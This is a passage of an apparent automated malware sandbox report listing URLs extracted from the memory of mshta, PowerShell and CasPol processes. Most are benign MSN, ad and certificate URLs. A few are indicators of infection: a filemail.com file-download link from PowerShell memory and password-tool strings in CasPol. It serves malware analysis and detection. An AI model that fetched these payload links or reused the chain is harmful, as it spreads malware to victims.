                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtBduP?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtBnuN?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jp
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtCLD9?h=368&w=522&m=6&q=60&u=t&o=t&l=f&f=jp
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtCr7K?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtCzBA?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=jp
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAyXtPP?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAzl6aj?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17cJeH?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=j
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dAYk?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dJEo?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dLTg?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dOHE?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=j
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dWNo?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dtuY?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=j
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e0XT?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e3cA?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e5NB?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e7Ai?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=j
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e9Q0?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17eeI9?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17ejTJ?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBPfCZL?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBYMDHp?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBZbaoj?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBh7lZF?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=jp
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBih5H?m=6&o=true&u=true&n=true&w=30&h=30
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBlKGpe?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBlPHfm?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBnMzWD?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqRcpR?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
                Source: powershell.exe, 00000008.00000002.486059806.0000000012331000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://o.aolcdn.com/ads/adswrappermsni.js
                Source: mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.00000000038A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0
                Source: mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.00000000037DD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496534969.00000000037DD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0%
                Source: mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.486845757.000000001A69F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.00000000038A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0-
                Source: mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.486845757.000000001A69F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.0000000003888000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0/
                Source: mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.486845757.000000001A6E9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.0000000003888000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com05
                Source: mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.00000000038A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.entrust.net03
                Source: mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.0000000003888000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.entrust.net0D
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://p.rfihub.com/cm?in=1&pub=345&userid=1614522055312108683
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://pr-bh.ybp.yahoo.com/sync/msft/1614522055312108683
                Source: powershell.exe, 00000008.00000002.483727608.0000000002301000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.539986200.0000000001F61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.502572880.0000000002311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.556649955.0000000002241000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/_h/975a7d20/webcore/externalscripts/jquery/jquer
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/en-us/homepage/_sc/css/f15f847b-3b9d03a9/directi
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/en-us/homepage/_sc/js/f15f847b-7e75174a/directio
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/en-us/homepage/_sc/js/f15f847b-80c466c0/directio
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/2b/a5ea21.ico
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/6b/7fe9d7.woff
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/9b/e151e5.gif
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/c6/cfdbd9.png
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/64bfc5b6/webcore/externalscripts/oneTrust/de-
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/975a7d20/webcore/externalscripts/jquery/jquer
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/a1438951/webcore/externalscripts/oneTrust/ski
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-de/homepage/_sc/css/f60532dd-8d94f807/directi
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-de/homepage/_sc/js/f60532dd-2923b6c2/directio
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-de/homepage/_sc/js/f60532dd-a12f0134/directio
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/11/755f86.png
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/21/241a2c.woff
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/64/a8a064.gif
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/9b/e151e5.gif
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/ea/4996b9.woff
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA2oHEB.img?h=16&w=16&m
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA42Hq5.img?h=16&w=16&m
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA42eYr.img?h=16&w=16&m
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA42pjY.img?h=16&w=16&m
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA6K5wX.img?h=16&w=16&m
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA6pevu.img?h=16&w=16&m
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA8I0Dg.img?h=16&w=16&m
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA8uJZv.img?h=16&w=16&m
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAHxwMU.img?h=16&w=16&m
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAJhH73.img?h=16&w=16&m
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAgi0nZ.img?h=16&w=16&m
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAhvyvD.img?h=16&w=16&m
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtB8UA.img?h=166&w=310
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtBduP.img?h=75&w=100&
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtBnuN.img?h=166&w=310
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtCLD9.img?h=368&w=522
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtCr7K.img?h=75&w=100&
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtCzBA.img?h=250&w=300
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAyXtPP.img?h=16&w=16&m
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAzl6aj.img?h=16&w=16&m
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17cJeH.img?h=250&w=30
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dAYk.img?h=75&w=100
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dJEo.img?h=75&w=100
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dLTg.img?h=166&w=31
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dOHE.img?h=333&w=31
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dWNo.img?h=166&w=31
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dtuY.img?h=333&w=31
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e0XT.img?h=166&w=31
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e3cA.img?h=75&w=100
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e5NB.img?h=75&w=100
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e7Ai.img?h=250&w=30
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e9Q0.img?h=166&w=31
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17eeI9.img?h=75&w=100
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17ejTJ.img?h=75&w=100
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBPfCZL.img?h=27&w=27&m
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBYMDHp.img?h=27&w=27&m
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBZbaoj.img?h=16&w=16&m
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBh7lZF.img?h=333&w=311
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBih5H.img?m=6&o=true&u
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBlKGpe.img?h=75&w=100&
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBlPHfm.img?h=16&w=16&m
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBnMzWD.img?h=16&w=16&m
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBqRcpR.img?h=16&w=16&m
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://static.chartbeat.com/js/chartbeat.js
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://widgets.outbrain.com/external/publishers/msn/MSNIdSync.js
                Source: mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.0000000003888000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com.my/cps.htm02
                Source: mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.00000000038A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
                Source: CasPol.exe, CasPol.exe, 00000020.00000002.556170457.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.ebuddy.com
                Source: CasPol.exe, CasPol.exe, 00000020.00000002.556638026.0000000000909000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000020.00000002.556170457.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.imvu.com
                Source: CasPol.exe, 00000020.00000002.556122320.000000000034C000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://www.imvu.com/
                Source: CasPol.exe, 00000020.00000002.556170457.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com
                Source: CasPol.exe, 00000020.00000002.556170457.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.imvu.comr
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://www.msn.com/
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://www.msn.com/?ocid=iehp
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://www.msn.com/advertisement.ad.js
                Source: bhv1B0F.tmp.30.drString found in binary or memory: http://www.msn.com/de-de/?ocid=iehp
                Source: CasPol.exe, 0000001E.00000002.558852159.0000000000253000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://www.nirsoft.net
                Source: CasPol.exe, 00000020.00000002.556170457.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.nirsoft.net/
                Source: powershell.exe, 0000000E.00000002.539986200.0000000002161000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.556649955.0000000002441000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://3012.filemail.com
                Source: powershell.exe, 00000017.00000002.556649955.0000000002441000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://3012.filemail.com/api/file/get?filekey=OF0gFcxMQCUwPYleTyb2Yh9aBTpRl9_K_LOoTKArK4ipMrH8N0jib
                Source: bhv1B0F.tmp.30.drString found in binary or memory: https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js
                Source: bhv1B0F.tmp.30.drString found in binary or memory: https://contextual.media.net/
                Source: bhv1B0F.tmp.30.drString found in binary or memory: https://contextual.media.net/8/nrrV73987.js
                Source: bhv1B0F.tmp.30.drString found in binary or memory: https://contextual.media.net/803288796/fcmain.js?&gdpr=1&cid=8CUT39MWR&cpcd=2K6DOtg60bLnBhB3D4RSbQ%3
                Source: bhv1B0F.tmp.30.drString found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2
                Source: bhv1B0F.tmp.30.drString found in binary or memory: https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1
                Source: powershell.exe, 00000008.00000002.486059806.0000000012331000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
                Source: powershell.exe, 00000008.00000002.486059806.0000000012331000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
                Source: powershell.exe, 00000008.00000002.486059806.0000000012331000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
